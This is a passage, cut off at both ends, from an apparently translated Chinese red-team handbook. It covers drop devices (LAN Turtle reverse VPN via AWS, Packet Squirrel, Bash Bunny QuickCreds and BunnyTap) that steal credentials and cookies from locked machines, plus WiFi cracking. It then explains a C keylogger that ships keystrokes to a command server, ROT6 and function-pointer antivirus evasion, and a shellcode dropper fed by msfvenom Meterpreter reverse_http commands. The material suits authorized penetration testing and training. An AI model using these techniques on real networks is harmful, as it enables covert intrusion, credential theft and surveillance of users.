Lightsail。选择AWS的另一个原因是流量检测，因为被攻击者的网络本身就有大量的流量访问AWS服务器，所以我们的流量就可以隐藏在其中。\n（3）访问Lightsail.aws.amazon.com，创建一个新的VPS。\n（4）创建后，转到Manage→Networking。\n添加两个防火墙TCP端口（443和943）。\n（5）创建VPS服务器后，现在登录。\n对SSH密钥执行chmod 600命令，登录服务器。\nssh -i LightsailDefaultPrivateKey-us-west-2.pem ubuntu @ [IP]。\n（6）SSH登录服务器后。\n切换到root身份。 \nsudo su\n更新服务器。 \napt-get update && apt-get\n安装OpenVPN AS。\n复制链接，将其下载到VPS。例如： \nwget http://swupdate.openvpn.org/as/openvpn-as-2.1.12-Ubuntu16.amd_64.deb\n安装OpenVPN AS。 \ndpkg -i openvpn-as-2.1.12-Ubuntu16.amd_64.deb\n删除当前配置文件，开始配置OpenVPN。 \n/usr/local/openvpn_as/bin/ovpn-init\n在设置过程中：\n确保设置ADMIN UI为所有接口\n通过内部数据库，设置使用本地身份验证为YES\n更新OpenVPN密码。 \npasswd openvpn\n设置IPTables，端口943仅允许来自您的网络。\n下面设置OpenVPN AS服务器。\n（1）访问https://[IP Address of VPS server]:943/admin/。\n（2）使用用户账户“openvpn”和刚刚创建的密码登录。\n（3）如果您使用的是AWS Lightsail。\n转到Server Network Settings（服务器网络设置），确保主机名或IP地址是正确的公网地址，而不是私有网络地址。\n保存并更新。\n（4）验证身份验证是否设置为本地。\nAuthentication -> General -> Local -> Save Settings -> Update Server\n（5）创建两个允许自动登录的用户（lanturtle和redteam）。\nUser Management -> User Permissions\n对于每个用户有以下操作。 \n设置AllowAuto-login\n确保为这两个用户设置密码\n对于lanturtle账户，要允许通过VPN连接，我们需要启用一些权限，如图6.4所示。\n图6.4\n确保在User Pemissions（用户权限）中配置/启用以下选项\n所有服务器端私有子网\n所有其他VPN客户端\n（6）下载OpenVPN配置文件，然后连接到下载配置文件。\nhttps://[Your VPS]:943/?src=connect。\n为每个用户（redteam和lanturtle）进行以下操作。 \n登录和下载个人资料—自己（自动登录个人资料）\n另存为turtle.ovpn和redteam.ovpn\n设置LAN Turtle和初始配置，如图6.5所示。\n图6.5\n（1）插入USB和以太网。\n（2）使用Nmap扫描本地网络的22端口。\nnmap x.x.x.x/24 -p 22 -T 5 --open。\n（3）SSH与root @ [ip]密码为sh3llz。\n（4）更新LAN Turtle。\n（5）更改MAC地址非常重要。LAN Turtle使用相同的制造商MAC地址，因此需要修改MAC地址使其看起来像一个随机设备。\n更改您的MAC地址。\n（6）安装OpenVPN。\n转到Modules→Select→Configure→Directory—Yes。\n安装OpenVPN。\n（7）设置OpenVPN配置文件。\n返回Modules→openvpn→Configure→在turtle.opvn中粘贴所有内容并保存。\n（8）确保LAN Turtle OpenVPN服务在启动时加载，这样我们只需删除它执行以下操作。\n转到Modules→openvpn→Enable。\n（9）最后，我们需要在LAN Turtle上修改防火墙规则。\n退出Turtle菜单，编辑防火墙规则。 \nnano/ etc / config / firewall\n配置zone'vpn'。 \n确保将option forward设置为ACCEPT\n添加配置转发规则\n（10）配置转发。\n选项src wan。\n选项dest lan。\n（11）配置转发。\n选项src vpn。\n选项dest wan。\n（12）配置转发。\n选项src wan。\n选项dest vpn。\n（13）重新登录Turtle菜单→Modules→openvpn→start。\n（14）在Turtle上启动OpenVPN客户端。确保它正常工作，返回到OpenVPN AS服务器并检查连接。\n我们现在配置了LAN Turtle，这样LAN Turtle无论何时连接到网络，都将回连到VPN服务器，我们可以通过SSH工具登录到LAN Turtle。下面看一个例子。\n从Kali攻击者主机访问VPN服务器。\nopenvpn --config ./redteam.ovpn。\n我们需要获取VPN服务器所在网络的IP地址，以便通过红队VPN路由所有流量。 \n以SSH方式登录LAN Turtle\n退出Turtle菜单，获取被攻击者网络的内部接口（ifconfig命令）的IP地址。根据IP地址和子网掩码，找到IP地址范围。在我们的示例中，Turtle所在的网络是10.100.100.0/24\n最后，启用转发，如图6.6所示。 \n返回OpenVPN AS并编辑用户lanturtle参数\nUser Permissions→lanturtle→show\n编辑VPN Gateway为“Yes”，添加内部地址范围（10.100.100.0/24）\n保存并更新\n以SSH方式登录到LAN Turtle上，使用命令reboot重新启动。\n图6.6\n现在，我们通过攻击者设备VPN，经过VPN LAN Turtle，将所有流量路由到被攻击者公司的网络。在图6.7中，我们登录到VPN服务器，扫描LAN Turtle的内部网络10.100.100.0/24。我们可以看到已成功配置从VPN网关、LAN Turtle到公司网络的路由。从攻击者Kali主机，我们可以开展全部的漏洞扫描、网络搜索和Masscan等攻击操作。\n图6.7\n就是这样！您现在拥有一个快速放置设备，可以让您与被攻击者网络保持完全连接。您需要采取一些措施确保成功概率更高。\n设置一个每天重置设备的定时任务。隧道可能会中断，每次LAN Turtle重新启动时，都会重新启动新连接。\n一些公司阻止某些端口外联。在这种情况下，我们使用443端口，在绝大多数环境中都允许外联。对于有些使用Web代理的公司，可能会阻止直接通过443端口外联的流量。您可能需要重新配置LAN Turtle，启动时自动尝试多个不同的端口或协议（TCP / UDP）。\n如果要放置两个或更多设备，那么需确保VPN服务器和MAC地址不同。曾经有过这样的情况，每次我们的设备在任务中被发现都是由于IT管理员偶然地移动或者更换计算机引起的。\n6.3 Packet Squirrel\nHak5的另一个与LAN Turtle具有相似功能的工具是Packet Squirrel，如图6.8所示。 Packet Squirrel使用USB micro供电，但Packet Squirrel不是单端USB以太网适配器，而是两端都是以太网电缆。这是捕获流量或创建VPN连接的另一种方法。\n图6.8\n与LAN Turtle配置类似，Packet Squirrel配置如下。\n设置/root/payloads/switch3/payload.sh。 \nFOR_CLIENTS = 1\n设置/etc/config/firewall。 \n与LAN Turtle防火墙规则修改一致\n上传LANTurtle.ovpn文件到/root/payloads/switch3/config.ovpn目录。\n您现在有另一台设备，一旦设备连接到网络，将有一个反向VPN连接回公司。\n此外，您的确应该拥有一个Packet Squirrel设备，因为针对Packet Squirrel已经有大量好的研究成果。您使用SWORD可以轻松地将Packet Squirrel转换为一个OpenWRT的渗透测试放置设备。\n6.4 Bash Bunny\n在本书之前的版本中，我们讨论了Rubber Ducky以及介绍它如何模拟HID设备（如键盘）来存储命令。作为红队，Rubber Ducky是一个很好的工具，因为它可以用于社会工程攻击实践，加速PowerShell命令的传递，可以突破没有键盘但有USB接口的自助服务终端系统。\nBash Bunny是Rubber Ducky的高级版本。它不仅可以执行HID类型的攻击，而且还可以做更多的事情。Bash Bunny有两个独立的空间来存储两个攻击（以及一个额外的管理设置）。这些静荷可以用来窃取凭证、网络钓鱼、Ducky攻击、运行PowerShell命令、执行扫描和侦察，以及执行Metasploit autopwn等。\n在本书之前的版本中，我们介绍了使用KonBoot绕过您不知道密码的主机。KonBoot适用于没有加密主机，主机从USB设备启动，覆盖本地管理员密码。虽然主机需要完全重启，但这会使您登录这台没有凭证的主机。您可能还没有用过KonBoot，我们在模拟攻击行动中一直使用它，并取得了巨大成功。\n您不想使用KonBoot可能有两个原因：这种攻击方式不适用于加密计算机；您可能不想重新启动被攻击者的主机。如何从锁定的主机获取信息，来访问网络上的其他主机或获得散列/密码？这就是Bash Bunny发挥作用的地方。\n我们将使用Bash Bunny运行两种不同的攻击静荷。如果我们有物理访问权限，那么这两个静荷将从锁定（或解锁）系统获取信息。下面我们将演示BunnyTap和QuickCreds的使用。\n6.4.1 突破进入CSK公司\n经过数小时，您终于进入了CSK公司，之后您有几小时的时间，可以用于模拟黑客攻击。您接触第一台主机，插入KonBoot并重新启动系统，但是发现这些系统已经加密。然后，转到下一台处于锁定屏幕保护状态的主机。您插入Bash Bunny两次，分别运行BunnyTap和QuickCreds程序。几分钟后，QuickCreds中的Responder程序搜集到NetNTLMv2散列值。我们使用hashcat工具破解散列值，几分钟内获得用户的密码！在我们无法获取或破解散列值的机器上，BunnyTap运行PosionTap，捕获热门网站的Cookie，并配置为内部应用程序。我们导入这些Cookie，将便携式计算机连接到他们的网络，替换敏感网站的应用程序Cookie，无须知道网站密码，即可获取这些网站的访问权限。\n在Kali上设置Bash Bunny。\n下载最新的固件。\n将Bash Bunny设置在Switch 3上（Arminy Mode）——布防模式（最靠近USB端口）。\n将固件放在USB加载的根目录，拔下插头，重新插入，等待约10min，直到它闪烁蓝光。\n完成所有操作后，返回Bash Bunny，编辑以下文件。\npayloads> switch1> payload.txt\n\\# System default payload\nLED B SLOW\nATTACKMODE ECM_ETHERNET STORAGE\n拔下您的设备。\n在Kali设备上设置互联网共享。 \nwget bashbunny.com/bb.sh\nchmod + x bb.sh\n./bb.sh\n引导模式（选择所有默认值）\n将Bash Bunny设置在Switch 1上（离USB最远）。完成后，需确保Bash Bunny已连接，在那里您应该看到Cloud←→Laptop←→Bunny镜像。\n在您的Kali机器上，使用密码hak5bunny通过SSH连接到Bash Bunny，如图6.9所示。\n图6.9\n下面介绍如何登录Bash Bunny。\n在您的Kali机器上，使用密码hak5bunny通过SSH连接到Bash Bunny。\nssh root@172.16.64.1。\n在Bash Bunny中更新并安装一些工具。 \napt-get update\napt-get upgrade\nexport GIT_SSL_NO_VERIFY=1\ngit clone https://github.com/lgandx/Responder.git/tools/responder\ngit clone https://github.com/CoreSecurity/impacket.git/tools/impacket\ncd /tools/impacket && python ./setup.py install\napt-get -y install dsniff\n在Kali机器的另一个终端中，安装所需的所有模块。 \ngit clone https://github.com/hak5/bashbunny-payloads.git/opt/bashbunny-payloads\n您可以选择任何类型的静荷，但在示例中，我们将设置Bash Bunny两个静荷：BunnyTap和QuickCreds。 \ncp -R/opt/bashbunny-payloads/payloads/library/credentials/BunnyTap/*/media/ root/BashBunny/payloads/switch1/\ncp -R/opt/bashbunny-payloads/payloads/library/credentials/QuickCreds/*/media/ root/ BashBunny/payloads/switch2/\n注意，在每个Switch1和Switch2文件夹中都有一个名为payload.txt的文件。在每个文件中，您需要将其配置为攻击Windows或macOS主机。对于Windows主机，需确保将ATTACKMODE设置为RNDIS_ETHERNET；对于macOS，需将其配置为ECM_ETHERNET。\n6.4.2 QuickCreds\nQuickCreds是一个可以推荐的工具，它利用Responder，从锁定和未锁定的主机捕获NTLMv2挑战散列值。假设您在做一次物理安全评估，进入公司并遇到许多锁屏的主机时，您插入Bash Bunny，选择QuickCreds，每台机器等待时间约2min。Bash Bunny将接管网络适配器，使用Response路由共享和身份验证请求，然后记录该数据。它将所有凭证保存到USB磁盘的loot文件夹中，如图6.10所示。\n图6.10\n6.4.3 BunnyTap\nBunnyTap基于Samy Kamkar的PoisonTap工具。即使是在锁定的机器上，PoisonTap也可以执行以下操作。\n通过USB（或Thunderbolt）模拟以太网设备。\n劫持设备的所有互联网流量（低优先级/未知网络接口）。\n从网络浏览器提取和存储Alexa前1,000,000个网站的HTTP Cookie和会话。\n将内部路由器暴露给攻击者，使其可以通过WebSocket和DNS重新绑定进行远程访问（感谢Matt Austin提供重新绑定的想法）。\n在HTTP缓存中为数十万个域和常见的JavaScript CDN URL安装基于Web的持久后门程序，所有这些都可以通过缓存中毒访问用户的Cookie。\n允许攻击者在任何后门域上远程强制用户发出HTTP请求并回送响应（GET与POST）以及Cookie。\n不需要解锁机器。\n即使在设备被移除并且攻击者离开后，后门和远程访问仍然存在。\n从物理安全评估的角度来看，您进入他们的办公室，将BunnyTap插入每台机器，然后等待大约2min。Bash Bunny将接管所有流量数据。如果主机浏览器已经打开并且处于活跃状态（如广告或任何定期更新的页面），那么BunnyTap将启动并请求所有Alexa排名前1,000,000的网站。如果被攻击用户当时登录任何这些站点，那么BunnyTap将捕获被攻击者的所有Cookie。现在，我们可以将这些Cookie导入我们的主机，用他们的Cookie替换我们的Cookie，在不知道他们的密码的情况下登录，如图6.11所示。\n图6.11\n6.5 WiFi\n在WiFi方面，攻击客户端方法没有大的变化。我们看到WEP网络明显减少，攻击方式仍然是deauth、aireplay-ng和捕获IV数据包。对于WPA无线网络，这里推荐的选择仍然是断开客户端连接，捕获握手数据包，将其传递给hashcat，破解密码。这两种方法都很好用，我喜欢使用的版本是Wifite2版本，它是基于Alfa AWUS036NHA无线网卡完全重写的。Wifite2界面简单易用，支持多种攻击，比Aircrack支持类型还多，并且可以轻松破解捕获的散列值，如图6.12所示。\n图6.12\n在设备方面，除Alfas两个设备外，使用WiFi Pineapple Nanos网卡可以很方便地实现更隐蔽的WiFi攻击。如果您需要启动假的HostAP、通过另一个天线路由流量、搭建伪造页面、捕获身份验证信息、执行中间人攻击、运行Responder以及其他攻击，Nano是一个完成以上操作的轻量级硬件工具，如图6.13所示。\n图6.13\n如果没有订购Pineapple，那么还有一些工具可以开展类似的攻击，其中一个工具是EAPHammer。EAPHammer的功能如下。\n从WPA-EAP和WPA2-EAP网络窃取RADIUS凭证。\n执行恶意门户攻击以窃取AD凭证，实现间接无线迁移。\n执行门户攻击。\n内置Responder工具。\n支持开放网络和WPA-EAP / WPA2-EAP。\n大多数攻击都不需要手动配置。\n安装和设置过程无须手动配置。\n利用最新版本的hostapd（2.6）。\n支持evil twin和karma攻击。\n生成定时PowerShell静荷用于间接无线迁移。\n集成HTTP服务器用于Hostile Portal攻击。\n支持SSID隐藏。\nEAPHammer的优势是可以使用自定义攻击功能，执行Responder攻击，捕获NTLM挑战身份验证散列，用于暴力破解和间接迁移。\n6.6 结论\n物理攻击看起来是一件有趣的事情。在许多行动中，我们可能会花几天的时间来了解公司，观察警卫轮换，并弄清楚他们有什么类型的门。我们可能会尝试远距离拍摄证件照片，记录人们离开公司的时间，并找出可以让我们进入公司的薄弱环节。\n从红队的角度来看，我们要关注的不仅是物理安全方面的弱点，而且要关注人员的安全意识。\n如果触发警报，相关人员需要多长时间才能调查清楚？\n摄像头是否全天候监控？如果是，那么在出现可疑的情况时，需要多长时间才能发现？\n员工是否留意尾随进门的情况？\n如果被阻止尾随，那么您能够解释从而脱身吗？\n如果您打扮成类似于设施工作人员（或任何第三方服务）的人，那么您会被如何处理？\n最后一点，在开始之前，需确保您有明确的范围、一份免于牢狱之灾的授权书、CISO/物理安全负责人的电话号码，并确保与公司密切配合。您准备得越充分，您就越不可能被警卫，但是谁也不能保证……\n第7章 四分卫突破——规避杀毒软件检测\n7.1 为红队行动编写代码\n能够成功地将红队和渗透测试人员区分的一个特征是能否适应和了解不同的安全防护机制。分析底层汇编语言，编写shellcode，创建自定义命令和控制二进制文件，修改代码空间隐藏恶意软件，这些都是日常工作的一部分。我经常遇到不会编码的渗透测试人员，虽然编码不是必需的，但是确实会影响他们进一步的专业发展。因此，我想为没有真正使用过底层语言开发代码的读者，专门写一章内容，帮助他们开始编写代码。\n7.2 构建键盘记录器\n键盘记录器是任何渗透测试人员/红队必备的工具，本节将指导您制作一个通用键盘记录器。有时我们只想持续监控某个用户或获取凭证。这可能是因为无法获得任何类型的横向渗透/权限提升，或者我们可能只想监视用户，为后续的行动做准备。在这样的情况下，我们喜欢在被攻击者系统上放置并运行键盘记录器，并将他们的键击记录发送出去。以下的例子只是一个原型系统，本实验的目的是让您了解原理和构建方法。使用C语言的原因是生成的二进制文件相对较小，并且由于是底层语言，可以更好地访问操作系统，并且可以规避杀毒软件检测。在本书第2版中，我们使用Python语言编写了键盘记录器，并使用py2exe编译成二进制文件，但是生成的文件容易被检测到。下面让我们来看一个稍微复杂的例子。\n7.2.1 设置您的环境\n下面是使用C语言编写和编译，生成Windows二进制文件，并创建自定义键盘记录器所需的基本设置。\n虚拟机中的Windows 10。\n安装Visual Studio，使用命令行编译器，使用Vim代码编辑。\n到目前为止，Windows API编程的推荐资源是微软公司的MSDN网站。MSDN是一个非常宝贵的资源网站，详细说明了系统调用、类型和结构定义，并包含了许多示例。虽然这个项目并不一定需要这些资源，但通过阅读微软公司出版的Windows Internals一书，可以更深入地了解Windows操作系统。对于C语言，则可以参考《C语言设计语言》一书，作者是Kernighan和Ritchie。另外，也可以阅读Beej的《网络编程指南》（有印刷版和在线版），这是C语言网络编程的一本很好的入门读物。\n7.2.2 从源代码开始编译\n在下面这些实验中，将会有多个代码示例。本实验室将使用微软公司的Optimizing Compiler工具编译代码，该编译器随Visual Studio Community一起提供，并内置在Visual Studio Developer命令提示符中。在安装Visual Studio Community工具后，需确保安装通用Windows平台开发环境和工具，配置工具和C++桌面开发环境。如果编译示例，那么需打开开发人员命令提示符，然后导航到包含源文件的文件夹。最后，运行命令“cl sourcefile.c io.c”。这将生成一个与源文件同名的可执行文件。\n编译器默认编译32位应用程序，但此代码也可以编译成64位应用程序。要编译成64位应用程序，需运行位于Visual Studio文件夹中的批处理脚本。在命令提示符中，导航到“C:\\Program Files(x86)\\Microsoft Visual Studio\\2017\\Community\\VC\\Auxiliary\\Build”，需要注意此路径可能会有所不同，具体取决于您的Visual Studio版本。然后，运行命令“vcvarsall.bat x86_amd64”，这将设置微软编译器编译64位可执行文件而不是32位可执行文件。现在，您可以通过运行“cl path/to/code.c”编译代码。\n7.2.3 示例框架\n该项目的目标是创建一个使用C语言和底层Windows功能来监视击键的键盘记录器。该键盘记录器使用SetWindowsHookEx和LowLevelKeyboardProc函数。SetWindowsHookEx允许在本地和全局上下文中设置各种类型的钩子。在这种情况下，WH_KEYBOARD_LL参数用于获取底层键盘事件。SetWindowsHookEx的函数原型如下所示。\nHHOOK WINAPI SetWindowsHookEx(\n _In_ int idHook,\n _In_ HOOKPROC lpfn,\n _In_ HINSTANCE hMod,\n _In_ DWORD dwThreadId\n);\nSetWindowsHookEx函数采用整数表示钩子ID、指向函数的指针、句柄模块和线程ID，前两个值很重要。钩子ID是安装的钩子类型的整数标识。Windows功能页面上列出可用ID。在我们的例子中，使用ID 13或WH_KEYBOARD_LL。HOOKPROC是一个指向回调函数的指针，每次挂了钩子的进程接收数据都会调用该函数。这意味着每次按下一个键，都会调用HOOKPROC。这个函数用于将键值写入文件。hMod是DLL的句柄，包含lpfn指向的函数。此值将设置为NULL，因为函数与SetWindowsHookEx在同一进程中使用。dwThreadId设置为0，将与桌面应用程序的所有线程回调相关联。最后，该函数返回一个整数，该整数将用于验证钩子是否设置正确，如果设置不正确则退出。\n第二部分是回调函数。回调函数实现程序大量的功能。此函数接收处理按键信息，将其转换为ASCII字母以及所有文件操作。LowLevelKeyboardProc的原型如下所示。\nLRESULT CALLBACK LowLevelKeyboardProc(\n _In_ int nCode,\n _In_ WPARAM wParam,\n _In_ LPARAM lParam\n);\n让我们回顾一下LowLevelKeyboardProc参数的内容。该函数的第一个参数是一个整数，告诉Windows如何解释该消息。其中两个参数是，①wParam，消息的标识符；②lParam，它指向KBDLLHOOKSTRUCT结构的指针。wParam的值需在函数参数中指定。参数lParam指向KBDLLHOOKSTRUCT成员。lParam KBDLLHOOKSTRUCT的值是vkCode或虚拟键盘码。这是按下键的代码，而不是实际的字母，因为字母可能会根据键盘语言的不同而有所不同。vkCode需要随后转换为相应的字母。现在，不需要担心参数传递给键盘回调函数，因为钩子激活后，操作系统自动传递参数。\n在查看框架代码时，需要注意的事项是，在回调函数中，包含pragma注释行、消息循环和返回CallNextHookEx行。pragma注释行是用于链接User32 DLL的编译器指令。此DLL包含程序所需的大多数函数调用，因此需要进行链接。它也可以与编译器选项相关联。接下来，如果需要使用LowLevelKeyboardProc函数，则必须使用消息循环。MSDN声明：“此钩子在安装它的线程的上下文中调用。通过向安装了钩子的线程发送消息来进行调用。因此，安装钩子的线程必须有一个消息循环。”\n返回CallNextHookEx是因为MSDN的声明：“调用CallNextHookEx函数链接到下一个挂钩过程是可选的，但是强烈推荐使用；否则，已安装挂钩的其他应用程序将不会收到挂钩通知，因此可能会出现错误行为。您应该调用CallNextHookEx，除非您需要阻止其他应用程序看到通知。”\n接下来，我们继续构建回调函数，从文件句柄开始。在示例代码中，它在Windows Temp目录（C:\\Windows\\Temp）创建名为“log.txt”的文件。该文件配置了append参数，因为键盘记录器需要不断地将按键记录输出到文件。如果temp中不存在该文件，则将创建一个文件。\n回到KBDLLHOOKSTRUCT，代码声明了一个KBDLLHOOKSTRUCT指针，然后将其分配给lParam。这将允许访问每个按键的lParam内的参数。然后代码检查wParam是否返回“WM_KEYDOWN”，即检查按键是否被按下。这样做是因为钩子会在按下和释放按键时触发。如果代码没有检查WM_KEYDOWN事件，那么程序将每次写入两次按键操作。\n发现按键操作后，需要一个switch语句，检查lParam的vkCode（虚拟键码），获取按键值。某些键需要以其他方式写入文件，例如return、control、Shift、Space和Tab键。对于默认情况，代码需要将按键的虚拟键码转换为实际的字母。执行此转换的简单方法是使用ToAscii函数。ToAscii输入参数vkCode、一个ScanCode、一个指向键盘状态数组指针、指向接收字母缓冲区的指针，以及uFlags的整数值。vkCode和ScanCode来自键结构，键盘状态是先前声明的字节数组，用于保存输出的缓冲区，uFlags参数设置为0。\n必须检查是否释放了某些键，例如Shift键。这可以通过编写另一个“if语句”来检查“WM_KEYUP”，然后使用“switch语句”来检查所需的按键。最后，需要关闭该文件并返回CallNextHookEx。\n此时，键盘记录器完全正常工作。但是，有两个问题。一个问题是运行程序会产生一个命令提示符，这表明程序正在运行，并且缺少输出的内容，容易让人产生怀疑。另一个问题是运行键盘记录器获得文件仅放在本地计算机上，意义不是很大。\n命令提示问题的修复相对容易，具体做法是修改标准C“Main”函数入口点为Windows特定的WinMain函数入口。根据我的理解，这样做很有效的原因是WinMain是Windows上图形程序的入口点。虽然操作系统预期是创建程序窗口，但我们可以告诉操作系统不创建任何窗口，因为有这个控件。现在，该程序只是在后台生成一个进程，不创建任何窗口。\n该程序网络方面的问题可以更加直接地进行解决。首先通过声明WSAData，启动Winsock，清除提示结构以及填充相关参数，初始化Windows套接字函数。举个例子，代码将AF_UNSPEC用于IPv4，SOC_STREAM用于TCP连接，使用getaddrinfo函数填充命令和控制数据结构。在填写所有必需的参数后，可以创建套接字。最后，使用socket_connect函数创建套接字。\n连接之后，socket_sendfile函数将执行大部分操作。它使用Windows“CreateFile”函数打开日志文件的句柄，然后使用“GetFileSizeEx”函数获取文件大小。一旦获取了文件大小，代码将分配一个文件大小的缓冲区，加上一个用于填充的缓冲区，然后将文件读入该缓冲区。最后，我们通过套接字发送缓冲区的内容。\n对于服务器端，在命令和控制服务器上启动socat监听3490端口（启动socat命令：socat - TCP4-LISTEN:3490,fork）。一旦监听器启动并且键盘记录器正常运行，您就会看到被攻击者主机的所有命令，并且每10 min被推送到命令和控制服务器。在编译version_1.c之前，确保将getaddrinfo修改为当前的命令和控制服务器的IP地址。编译代码：cl version_1.c io.c。\n需要介绍的最后一个函数是thread_func函数。thread_func调用函数get_time，获取当前时间。然后检查该值是否可被5整除，因为该工具每5min发送一次文件。如果它可以被5整除，那么它会设置套接字并尝试连接命令和控制服务器。如果连接成功，那么它将发送文件并运行清理功能。然后，循环休眠59 s。需要休眠功能的原因是这一切都在一个稳定的循环中运行，这意味着该函数将在几秒钟内运行，建立连接，连接和发送文件。如果没有59s的休眠时间，那么该函数最终可能会在1 min的间隔内发送文件数10次。休眠函数允许循环等待足够长的时间，切换到下一分钟，因此仅每5 min发送一次文件。\n7.2.4 混淆\n有数百种不同的方法来执行混淆。虽然本章不能全部涉及，但我想为您介绍一些基本的技巧和思路来规避杀毒软件。\n您可能已经知道，杀毒软件会查找特定的字符串。规避杀毒软件的一种简单方法是创建一个简单的转盘密码，移动字符串的字符。在下面的代码中，有一个基本的解密函数，可以将所有字符串移动6个字符（ROT6）。这会导致杀毒软件可能无法检测到乱码。在程序开始时，代码将调用解密函数，获取字符串数组，返回到常规格式。解密函数如下所示。\nint decrypt(const char* string, char result[]){\n int key = 6;\n int len = strlen(string);\n for(int n = 0; n < len; n++){\n int symbol = string[n];\n int e_symbol = symbol - key;\n result[n] = e_symbol;\n }\n result[len] = '\\0';\n return 0;\n}\n另一种规避杀毒软件的方法是使用函数指针调用User32.dll中的函数，而不是直接调用函数。为此，首先编写函数定义，然后使用Windows GetProcAddress函数找到要调用的函数的地址，最后，将函数定义指针指定给从GetProcAddress接收的地址。可以在CitHub找到如何使用函数指针调用SetWindowsHookEx函数的示例。\n该程序的第3个版本将前一个示例中的字符串加密与使用指针调用函数的方法相结合。有趣的是，如果您将已编译的二进制文件提交到VirusTotal，那么看不到User32.dll。在图7.1中，左侧图像显示的是版本1，右侧图像显示的是带有指针调用的版本3。\n图7.1\n为了查看您是否已成功规避杀毒软件，最好的选择是始终在实际运行的杀毒软件系统中进行测试。在实际的行动中，我不建议使用VirusTotal，因为您的样本可能会被发送给不同的安全厂商。但是VirusTotal网站非常适合测试/学习。\n实验\n您的最终目标是什么？想法是无限的！一点点修复可能是对log.txt内容进行混淆/加密，或者在程序启动后，启动加密套接字，然后将按键内容写入套接字。在接收方，服务器将重建流，写入文件。这将阻止日志数据以纯文本形式显示，就像当前一样，并且可以防止之前的内容写入硬盘。\n另一个非常明显的改进是将可执行文件转换为DLL，然后将DLL注入正在运行的进程，使得进程不会显示在任务管理器中。有一些程序可以显示系统上所有当前加载的DLL，因此注入DLL会更加隐蔽。此外，有些程序可以反射性地从内存加载DLL而根本不写入磁盘，从而进一步降低了被取证的风险。\n7.3 黑客秘笈定制的放置工具\n放置工具是红队工具包的重要组成部分，允许您在被攻击者计算机上植入程序。不在磁盘上放置植入程序是为了降低被发现的风险，并且可以使用多次。在本节中，我们将介绍一个黑客秘笈定制的放置工具，它可以植入shellcode或者是仅驻留在内存中的动态库。\n在设计放置工具和相应的服务器时，您需要记住一些事项。放置工具是工具箱中阅后即焚（use-and-burn）的一个工具，这意味着您当前可以正常使用，但是在后续的行动中很可能被检测发现。\n为了使后续行动更容易，您需要开发一个标准服务器，可以重复使用。在这个例子中，您将看到一个基本的网络实现框架，它允许为不同的消息注册新的处理程序。这个例子仅包含LOAD_BLOB消息类型的处理程序，您可以轻松添加新的处理程序，从而扩展功能。这就可以提供良好的基础，因为您的所有通信都实现了标准化。\n编写放置工具程序或者快速找到目标并进行逆向工程，一个重要的步骤是过滤字符串。当您第一次构建软件时，调试消息非常有用，可以让您不必手动单步调试，查看出现问题的原因。但是，如果调试信息在最终版本中被意外地保留下来，那么软件分析人员将很容易逆向利用您的恶意软件。很多时候，杀毒软件将对独特的字符串或常量值进行签名。举个例子，我使用InfoLog()和ErrorLog()函数，预处理器将在发布版本中编译这些宏。使用这些宏，检查是否定义了_DEBUG，并指示是否包含相关的调用。\n7.3.1 shellcode与DLL\n在下面的例子中，您可以让放置工具加载完整的DLL或者shellcode。通常有许多公开的植入工具，您可以生成一个完整的DLL，实现DLL下载并且执行。放置工具直接加载DLL，可以使您省略加载更多的API调用，从而保持隐蔽。由于头部信息被修改，因此某些植入工具可能无法正确加载。如果您的一个植入工具不能正常工作，但是包含生成shellcode的方法，那么这应该可以解决您的问题。这是因为定制的加载器，通常可以修复头部信息，并从该DLL加载头部信息。\n网络中还有大量的shellcode，如shell-storm这样的网站，保存大量的shellcode，其中一些可能会在您后续的行动中派上用场。\n7.3.2 运行服务器\n构建服务器其实比较简单。在定制的黑客秘笈 kali镜像中，您需要运行以下命令。\n第一次编译。\ncd /opt/。\nsudo apt-get install build-essential libssl-dev cmake git。\ngit clone https://github.com/cheetz/thpDropper.git。\ncd thpDropper/thpd。\nmkdir build。\ncd build。\ncmake ..。\nmake。\n对于后续编译，您需要进行的步骤如下。\ncd /opt/thpd/build。\nmake。\n运行服务器，在编译完成后，您需输入如下内容。\n./thpd [path to shellcode/DLL] [loadtype]\n表7.1为值所对应的当前适用的加载类型。\n表7.1\n 0\n shellcode\n 发送原始shellcode字节到客户端\n 1\n DLL\n 发送正常DLL文件，客户端反射注入DLL\n虽然静荷（shellcode/DLL）可以来自任何类型的命令和控制工具（Metasploit/Meterpreter、Cobalt Strike等），但我们将在示例中使用Meterpreter静荷。生成静荷的步骤如下。\nshellcode静荷。 \nmsfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT= <PORT> EnableStageEncoding=True -f c\n注意，您必须获取msfvenom输出，并得到原始shellcode（删除引号、换行以及任何不是shellcode的内容）。\n启动服务器：./thpd ./shellcode.txt 0\nDLL静荷。 \nmsfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT= <PORT> EnableStageEncoding=True -f dll > msf.dll\n启动服务器：./thpd ./msf.dll 1\n7.3.3 客户端\n客户端与服务器的运行方式是相似的，其中客户端为每种消息类型注册处理程序。在启动时，客户端尝试回连服务器，如果无法连接或连接断开了，则重试n次，并发送消息要求加载模块。服务器使用BLOB_PACKET进行响应，客户端通过head->msg字段识别并分发该数据包。所有数据包必须在开始时定义HEAD_PACKET字段，否则网络处理程序将无法识别，从而丢弃数据包。使用BuildPacketAndSend()函数正确设置数据包头部，从而允许另一方解码数据包。\n要构建客户端，您需要Visual Studio和Git工具。首先将Git存储库（https://github.com/cheetz/ thpDropper.git）复制到一个文件夹中，然后在Visual Studio中打开thpDropper.sln。确保放置设备的代码设置了正确的体系结构，如果您不需要任何调试消息，那么可设置为发布版本。完成此操作后，按F7键，Visual Studio将为用户生成可执行文件。\n7.3.4 配置客户端和服务器\n大多数客户端的配置都可以在globals.cpp文件中找到，您需要更改的3个主要配置是主机名、端口和数据包持续时间。每个配置选项旁边都有注释，说明配置项的内容。您不需要更改数据包签名，如果更改数据包签名，那么发送的每个数据包的前两个字节将被修改，用于标识这是服务器上的有效连接。如果您希望对IP地址和端口进行模糊处理，则可以编写代码，在访问IP地址和端口时，对数据进行解密，在二进制文件中仅存储加密版本。\n在服务器端的main.cpp文件中，您可以修改服务器监听的端口。此配置是main函数中StartupNetworking()的唯一参数。如果您修改客户端中的数据包签名，则需要修改服务器对应该数据包。这意味着在include/lib/networking.h文件中，PACKET_SIGNATURE值需要与客户端中的全局值匹配。\n7.3.5 添加新的处理程序\n网络代码库允许您轻松添加新功能。为此，您需要使用客户端的void name()原型函数或服务器上的void name(int 